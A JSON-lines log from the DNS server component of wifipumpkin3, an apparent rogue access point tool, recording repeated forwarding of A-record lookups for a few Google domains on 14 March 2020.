{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.088366", "seconds": 40.088366}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.514179-03:00", "timestamp": 1584232926.514179}}}
{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.239227", "seconds": 40.239227}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.665040-03:00", "timestamp": 1584232926.66504}}}
{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.403889", "seconds": 40.403889}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.829702-03:00", "timestamp": 1584232926.829702}}}
{"text": "2020-03-14 at 21:42:06 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.537626", "seconds": 40.537626}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:06.963439-03:00", "timestamp": 1584232926.963439}}}
{"text": "2020-03-14 at 21:42:07 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.654401", "seconds": 40.654401}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:07.080214-03:00", "timestamp": 1584232927.080214}}}
{"text": "2020-03-14 at 21:42:07 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.801227", "seconds": 40.801227}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:07.227040-03:00", "timestamp": 1584232927.22704}}}
{"text": "2020-03-14 at 21:42:07 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:40.907830", "seconds": 40.90783}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:07.333643-03:00", "timestamp": 1584232927.333643}}}
{"text": "2020-03-14 at 21:42:07 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.040864", "seconds": 41.040864}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:07.466677-03:00", "timestamp": 1584232927.466677}}}
{"text": "2020-03-14 at 21:42:07 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.321003", "seconds": 41.321003}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:07.746816-03:00", "timestamp": 1584232927.746816}}}
{"text": "2020-03-14 at 21:42:07 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.474524", "seconds": 41.474524}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:07.900337-03:00", "timestamp": 1584232927.900337}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.586823", "seconds": 41.586823}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.012636-03:00", "timestamp": 1584232928.012636}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.672441", "seconds": 41.672441}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.098254-03:00", "timestamp": 1584232928.098254}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.812133", "seconds": 41.812133}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.237946-03:00", "timestamp": 1584232928.237946}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.859251", "seconds": 41.859251}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.285064-03:00", "timestamp": 1584232928.285064}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.880180", "seconds": 41.88018}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.305993-03:00", "timestamp": 1584232928.305993}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.888053", "seconds": 41.888053}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.313866-03:00", "timestamp": 1584232928.313866}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.934015", "seconds": 41.934015}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.359828-03:00", "timestamp": 1584232928.359828}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:41.970602", "seconds": 41.970602}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.396415-03:00", "timestamp": 1584232928.396415}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.017987", "seconds": 42.017987}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.443800-03:00", "timestamp": 1584232928.4438}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.137364", "seconds": 42.137364}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.563177-03:00", "timestamp": 1584232928.563177}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.199002", "seconds": 42.199002}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.624815-03:00", "timestamp": 1584232928.624815}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.288816", "seconds": 42.288816}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.714629-03:00", "timestamp": 1584232928.714629}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.338432", "seconds": 42.338432}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.764245-03:00", "timestamp": 1584232928.764245}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.409236", "seconds": 42.409236}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.835049-03:00", "timestamp": 1584232928.835049}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.456233", "seconds": 42.456233}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.882046-03:00", "timestamp": 1584232928.882046}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.483514", "seconds": 42.483514}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.909327-03:00", "timestamp": 1584232928.909327}}}
{"text": "2020-03-14 at 21:42:08 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.553199", "seconds": 42.553199}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:08.979012-03:00", "timestamp": 1584232928.979012}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.599482", "seconds": 42.599482}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.025295-03:00", "timestamp": 1584232929.025295}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.654933", "seconds": 42.654933}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.080746-03:00", "timestamp": 1584232929.080746}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.763965", "seconds": 42.763965}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.189778-03:00", "timestamp": 1584232929.189778}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.881161", "seconds": 42.881161}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.306974-03:00", "timestamp": 1584232929.306974}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:42.987037", "seconds": 42.987037}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.412850-03:00", "timestamp": 1584232929.41285}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.061005", "seconds": 43.061005}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.486818-03:00", "timestamp": 1584232929.486818}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.141644", "seconds": 43.141644}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.567457-03:00", "timestamp": 1584232929.567457}}}
{"text": "2020-03-14 at 21:42:09 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:43.235428", "seconds": 43.235428}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:09.661241-03:00", "timestamp": 1584232929.661241}}}
